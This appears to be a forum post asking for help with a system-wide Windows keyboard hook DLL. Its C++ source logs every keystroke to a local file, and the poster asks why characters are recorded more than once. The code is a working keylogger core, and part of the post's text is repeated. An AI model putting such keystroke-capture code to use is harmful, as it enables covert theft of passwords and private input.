I've recently created a keyboardhook(systemwide) and although it works fine i.e records keystrokes etc. it double takes the characters that it recieves. Here's and example output of the text "look there is a thingie!", this text is recorded as:
"
look tthheerree iiisss aaaa ttttthhhhhiiiiinnnnngggggiiiiieeeee "
Here's the dll code responsible:
Any ideas?
"
look tthheerree iiisss aaaa ttttthhhhhiiiiinnnnngggggiiiiieeeee "
Here's the dll code responsible:
Code:
// Exported functions
extern "C" __declspec(dllexport)bool InstallkbHook();
extern "C" __declspec(dllexport)bool RemovekbHook();
// Callback Procedure Declaration
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
// Global variables
HHOOK HookHandle;
HINSTANCE DllInstance;
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
DllInstance=hinst;
return 1;
}
bool InstallkbHook()
{
HookHandle=SetWindowsHookEx(WH_KEYBOARD,
reinterpret_cast<HOOKPROC>(KeyboardProc),DllInstance,0);
if (HookHandle==NULL)return false;
else return true;
}
bool RemovekbHook()
{
if(UnhookWindowsHookEx(HookHandle)==0)
{
return false;
}
else return true;
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code<0)
{
return CallNextHookEx(HookHandle,code,wParam,lParam);
}
FILE *f1;
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==code))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch = char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
}
return CallNextHookEx(HookHandle,code,wParam,lParam);
}
Any ideas?